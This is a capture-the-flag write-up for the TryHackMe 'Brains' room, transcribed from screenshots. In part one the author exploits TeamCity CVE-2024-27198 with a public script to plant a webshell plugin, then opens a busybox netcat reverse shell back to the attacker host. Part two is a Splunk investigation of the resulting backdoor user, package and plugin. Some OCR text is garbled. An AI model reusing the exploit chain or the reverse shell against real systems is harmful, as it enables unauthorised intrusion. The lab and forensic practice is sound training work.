Brains VM - TryHackMe

https://tryhackme.com/r/room/brains

This room has 2 parts. Part 1 is below and Part two is after it
KaliIP=10.4.103.189
BrainsVM =10.10.78.117

An initial nmap scan shows

g # brains.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 09:34 EDT
Nmap scan report for brains.thm (10.10.78.117)

Host is up (0.36s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh
80/tcp open http
50000/tcp open ibm-db2

Nmap done: 1 IP address (1 host up) scanned in 5.78 seconds

So then | can visit the website on port 80. And see this

[
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Maintenance

We're currently performing some maintenance. Please check back soon.
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Nothing in the page source either, so instead | do a gobuster scan but we get nowhere

Starting gobuster in directory enumeration

.hta
.hta.txt
.hta.php
.hta.html
.htaccess.php
.htaccess.txt
.htaccess
.htpasswd
.htaccess.html
.htpasswd.txt
.htpasswd.php
.htpasswd.html
/index.php
/index.php
/server-status (s 40
Progress: 18936 / 18940 (99.98%)

Finished

So | checked the other port and we find this
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Log in to TeamCity

Jsermame

So for this we can search for CVE and we find it h

So | can copy it to my directory

2 clone https://github.com/Wo1fh4cker/CVE-2024-27198-RCE.git
Cloning into 'CVE-2024-27198-RCE' ...

remote: Enumerating objects: 35, done.

remote: Counting objects: 100% (35/35), done.

remote: Compressing objects: 100% (31/31), done.

remote: Total 35 (delta 9), reused 16 (delta 3), pack-reused @ (from 0)

Receiving objects: 100% (35/35), 15.73 KiB | 402.00 KiB/s, done.

Resolving deltas: 100% (9/9), done.

Then | can run this by running the script in a virtual python environment by first activating it
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root@kali: i i i ins/CVE-2024-27198-RCE X
my-venv/bin/activate

(my-venv) : # install requests urllib3 faker
Collecting requests
Using cached requests-2.32.3-py3-none-any.whl.metadata (4.6 kB)
Collecting urllib3
Using cached urllib3-2.2.3-py3-none-any.whl.metadata (6.5 kB)
Collecting faker
Downloading Faker-30.8.1-py3-none-any.whl.metadata (15 kB)
Collecting charset-normalizer<4, >2 (from requests)
Using cached charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (34 kB)
Collecting idna<4, >2.5 (from requests)
Using cached idna-3.10-py3-none-any.whl.metadata (10 kB)
Collecting certifi>2017.4.17 (from requests)
Using cached certifi-2024.8.30-py3-none-any.whl.metadata (2.2 kB)
Collecting python-dateutil >2.4 (from faker)
Downloading python_dateutil-2.9.0.post@-py2.py3-none-any.whl.metadata (8.4 kB)
Collecting typing-extensions (from faker)
Downloading typing_extensions-4.12.2-py3-none-any.whl.metadata (3.0 kB)
Collecting six>1.5 (from python-dateutil >2.4—faker)
Using cached six-1.16.0-py2.py3-none-any.whl.metadata (1.8 kB)
Using cached requests-2.32.3-py3-none-any.whl (64 kB)
Using cached urllib3-2.2.3-py3-none-any.whl (126 kB)
Downloading Faker-30.8.1-py3-none-any.whl (1.8 MB)
1 .8 M eta
Using cached certifi-2024.8.30-py3-none-any.whl (167 kB)
Using cached charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (143 kB)
Using cached idna-3.10-py3-none-any.whl (70 kB)
Downloading python_dateutil-2.9.0.post0-py2.py3-none-any.whl (229 kB)
Downloading typing_extensions-4.12.2-py3-none-any.whl (37 kB)
Using cached six-1.16.0-py2.py3-none-any.whl (11 kB)
Installing collected packages: urllib3, typing-extensions, six, idna, charset-normalizer, certifi, requests, python-dateutil, faker
Successfully installed certifi-2024.8.30 charset-normalizer-3.4.0 faker-30.8.1 idna-3.10 python-dateutil-2.9.0.post0 requests-2.32.3 six-1.16.0 typing-extens
ions-4.12.2 urllib3-2.2.3
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Then running it




(my-venv) s CVE-2024-27198-RCE

(my-venv) S # CVE-2024-27198-RCE.py http://brains.thm:50000

Author: @welfh4cker
Github: https://github.com/Wo1fh4cker

[+] User added successfully, username: 8ku54qpi, password: 8EqNVtpIvp, user ID: 11
[+] The target operating system version is linux

[!] The current version is: 2023.11.3 (build 147512). The official has deleted the /app/rest/debug/processes port. You can only upload a malicious plugin to
upload webshell and cause RCE.

[!] The program will automatically upload the webshell ofbehinder3.0. You can also specify the file to be uploaded through the parameter -f. Do you wish to c
ontinue? (y/n)y

[+] The malicious plugin 1hdvcxlP was successfully uploaded and is trying to be activated

[+] Successfully load plugin X1P

[+] The malicious plugin 1hdvcx1P was successfully activated! Webshell url: tp:

[+] Please start executing commands freely! Type <quit> to end command execution

command >

Then we can send a reverse connection back to kali
busybox nc 10.4.103.189 4444 -e bash

and then in kali have a listener set up and we can get our shell

> busybox nc 10.4.103.189 4444 -e bash

listening on [any] 4444 ...

connect to [10.4.103.189] from (UNKNOWN) [10.10.78.117] 57522
id

uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),11
8(1xd)

python3 -c 'import pty;pty.spawn("/bin/bash")"
ubuntu@gbrains:/opt/teamcity/TeamCity/bin$ cd

cd

ubuntu@brains:~$ 1s

s

config.log flag.txt

ubuntu@brains:~$ cat flag.txt

cat flag.txt

THM{ faa9bac345709b6620a6200b484c7594 }

ubuntu@brains:~$ ||

And that is part 1 complete. Now we can move:8000 to part 2
The IP for this partis 10.10.53.205

1. Whatis the name of the backdoor user which was created on the server after exploitation?
a. Eviluser
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Events (6) Statistics  Visualization

tv 7 Format 20 Per Page ~

<Hide Fie = AlF i Time Event

> 824 Aug 2
8:41:04.000 AM

3351 new user: name=fwupd-ref 8, home=/run/s;

SELECTED FIELDS

- auth_logs

2:37 brains useradd(11207: new user: [ETESUUUERTN UID=1001, GID=1001, hos

source = Avar/log/authlog ~ sourcetype = auth_logs

> 7424
10:32:37000 PM

/home/eviluser, shell=/bin/bash, from=/dev/pts/@

etype 2

INTERESTING FIELDS > 7424 [202:

10:16:12.013 PM

4 22:16:12,013]  INFO - tbrains.b - New user created: user with id=12

/opt/teamcity/TeamCity/iog team

y_activities

> 7424
10:08:09.995 PM

951  INFO - tbrains.buildServer. ACTIVITIES - New user c

ated: user with id=11

/optiteamcity/TeamCity/logs/teamcity-activities.log ~ sourcetype = teamcity_activities

> 7224
9:56:16.418 AM

09:56:16,418]  INFO - tbrains.buildser

/opt/teamcity/Tear

ityflogs/teat

> 7224
9:38:51.000 AM

-170-13 useradd[459]: new user: name=ubuntu, UID=1000, GID=1000, home=/home/ubuntu, shell=/bin/bash, from=none

var/iog/auth.log ircetype = auth_logs




2. Whatis the name of the malicious-looking package installed on the server?
a. Datacollector

Machine View Input Devices Help

amP O 2

B Search | Splunk 9.2.2

C @
KaliLinux @ KaliTools « KaliDocs N KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec
splunk

Search

v  CreateTable View  Close

New Search

/var/log/dpkg.log" "install" Alltin

99 events (before 10/26/24 2:15:30.000 PM No Eve

npling Jobw »

Events(99)  Patterns  Statistics  Visualization

1month per colum

i Time Event

nfo:andsd 6.7.0.dfsg.2-5

> 7724 2024-07-17 20:44:23 status triggers-pending insta
8:44:23.000 PM

SELECTED FIELDS

P, host = brains  sou var/log/dpkglog | sourcetype = packages
asoee:l > 7424 2024-07-04 22:58:25 [INEIVNREEIONEIREN: and64 <none> 1.0
a sourcetype 1 5825
o 10:58:25.000 PM  post = brains  so Narflog/dpkglog  soul packages
INTERESTING FIELDS > a4 2024-07-04 22:58:23 startup archives install
o= LT 10:5823.000PM o5t = brains = source = /var/log/dpkg.log ourcetype = packages
# date_minute 12 > 7224 2024-07-02 14:56:16 install haveged:and64 <none> 1.9.1-6ubuntul
a date_month 2:56:16.000 PM 1ost = brains ~ source = /varfiog/dpkglog  sourcetype = packages
# date_second 3¢
a date_wday 5 > w224 2024-07-02 14:56:16 instal bhavege!:amd64 <none> 1.9.1-6ubuntul
# year 2:56:16.000 PM \ost = brains  source = ar/log/dpkglog  sourcety packages
a date_zone
il > 224 2024-07-02 14:52:20 install manpages-dev:all <none> 5.05-1

252:20.000 PM

host= brains  source = Nar/log/dpkglog packages

> 72024 2024-07-02 14

nstall libc and64 <none> 2.31-Oubuntud

3. Whatis the name of the plugin installed on the server after successful exploitation
a. AyzzbuXY.zip
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# timestartpos i Time Event
+ Extract New Fields > IN724 [2024-07-17 20:40 INFO - tbrains.buildServer ACTIVITIES - Server Started

8:40:38.488 PM —

host = brains | source = /optiteamcity/TeamCity/logs/teamcity-activitieslog  sourcetype = teamcity_activities
> 744 [2024-07-04 23:34:19,426] INFO - tbrains.buildServer . ACTIVITIES - Spring components shutdown finished in 3s,162ms
M34:19426PM  pogt= prains Tear log  sourcetype = teamcity_activities
> 4R [2024-07-04 23:34:16,263]  INFO - tbrains.buildServer . ACTIVITIES - Spring components shutdown start
M3416263PM  nost= brains ~ source = /opt/teamcity/TeamCity/logsiteamcity-activitieslog  sourcetype = teamcity_activities
> 7424 [2024-07-04 23:20:25,701]  INFO - tbrains.buildServer ACTIVITIES - Server Started
M2025701PM  post = prains ce = /opt/teamcity/TeamCity/logsiteamcity-activities log = sourcetype = teamcity_activities
> 7424 [2024-07-04 23:08:49,492]  INFO - tbrains.buildServer ACTIVITIES - Spring components shutdown finished in 2s,352ms
M08:49492PM  post = prains ce = /optteamcity/TeamCity/logs/iteamcity-activitiesog = 5o e = teamcity_activities
> 744 [2024-07-04 23:08:47,139]  INFO - tbrains.buildServer . ACTIVITIES - Spring components shutdown start
MOSAZI35BM - o, ins  source = /optiteamcity/TeamCity/logs/teamcity-activities.iog rcetype = teamcity_activities
> 744 [2024-07-04 22:16:12,014]  INFO - s.buildServer.ACTIVITIES. AUDIT - user_create: User "user with id=12" was created by "user with i
10161204 PM  post= prains ~ source = /opt/teamcity/TeamCity/logsiteamcity-activitiesog ~ sourcetype = teamcity_activities
> 744 [2024-07-04 22:16:12,013]  INFO - tbrains. buildServer ACTIVITIES - New user created: user with id=12
101612013PM  nost= prains ~ source = /opt/teamcity/TeamCity/logs/teamcity-activitiesog ~ sourcetype = teamcity_activities
> 744 [2024-07-04 22:08:31,921]1  INFO - 5.buildServer ACTIVITIES.AUDIT - plugin_uploaded: Plugin "AyzzbuX¥" was updated by "user with id=11" with comment "Plugin was uploaded to /home/ubuntu/.Buildserver/plugins/
10:08:31.921 PM 2zbuXY. 2ip']
host = brains  source = /optiteamcity/TeamCity/logs/teamcity-activitieslog ~ sourcetype = teamcity_activities
> 744 [2024-07-04 22:08:09,999]  INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: User "user with id=11" was created by "user with id=
10:08:09999PM  post = prains uirce = /optiteamcity/TeamCity/logs/teamcity-activitiesog  sourcetype = teamcity_activities
> 744 [2024-07-04 22:08:09,995]  INFO - tbrains.buildServer ACTIVITIES - New user created: user with id=11
10:08:09995PM ot = brains irce Tear tivities.k ourcetype = teamcity_activities
> 7224 [2024-07-02 15:46:08,793]  INFO - tbrains.buildServer ACTIVITIES - Spring components shutdown finished in 1s,166ns
346:08793PM  \x00\x00\ X00\X00\X00\X00\X00\: \X00\X00\X00\X00\X00\ X00\X00\XD0\xD0\XDB\XD0\ X0\ X0\ X0\ X0\ X0\ X00\X00\X00\x00\x00\x00\x00\: \ X00\:
0\x00\x00\x00\x00\x00\x00\X00\x00\X00\X00\X00\X00\x00\ X0\ x00\X00\X00\X00\X00\XB0\X00\ X00\X00\x00\X00\ [2024-07-04 21:39:35,062]  INFO - tbrains.buildServer.ACTIVITIES - Server Started
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And it is complete



